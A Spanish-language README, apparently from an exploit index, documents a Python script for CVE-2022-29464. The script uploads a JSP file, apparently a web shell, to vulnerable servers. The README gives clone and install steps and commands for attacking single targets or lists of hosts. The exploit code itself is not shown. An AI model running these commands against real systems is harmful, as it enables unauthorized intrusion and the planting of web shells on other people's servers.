Share
## https://sploitus.com/exploit?id=E929D4EE-AE38-5067-AD62-0EEBA2CB61FA
# Exploit CVE-2022-29464

Este repositorio contiene un script para explotar la vulnerabilidad CVE-2022-29464, que permite subir archivos a servidores vulnerables. **Úsalo únicamente en entornos autorizados y con fines educativos.**

## Requisitos

- Python 3.8 o superior

## Instalación

### Paso 1: Clonar el repositorio
```bash
# Clona el repositorio desde GitHub
git clone https://github.com/c1ph3rbyt3/CVE-2022-29464.git
cd CVE-2022-29464
```

### Paso 2: Instalar las dependencias
```bash
pip install -r requirements.txt
```

## Uso del script

El script ofrece dos modos principales:
1. Procesar un solo host.
2. Procesar una lista de hosts desde un archivo.

### Parámetros
- `-f`, `--file`: Especifica un archivo con una lista de objetivos.
- `-t`, `--target`: Especifica un único objetivo en formato `HOST:PUERTO` o `IP:PUERTO`.
- `-j`, `--jsp_file`: Nombre del archivo JSP que será subido (por ejemplo, `uploader.jsp`). **Obligatorio.**

### Archivo de hosts
El archivo de hosts debe contener una lista de objetivos en el siguiente formato:
```
127.0.0.1:8080
example.com:443
192.168.1.1:8443
```
Cada línea debe incluir una dirección IP o un nombre de host seguido del puerto, separados por dos puntos (`:`).

### Subir el archivo `uploader.jsp`
El archivo `uploader.jsp` que se encuentra incluido en este repositorio se puede cambiar por otro, este solo es un archivo de referencia. El archivo del repositorio se sube al servidor para realizar pruebas de carga y ejecución.

## Ejemplos de uso

### Procesar un único objetivo
```bash
python CVE-2022-29464.py -t 192.168.1.1:8080 -j uploader.jsp
```

### Procesar una lista de objetivos
```bash
python CVE-2022-29464.py -f hosts.txt -j uploader.jsp
```

### Mostrar ayuda
```bash
python CVE-2022-29464.py -h
```

---

## Contacto

Creado por: **C1ph3rByt3**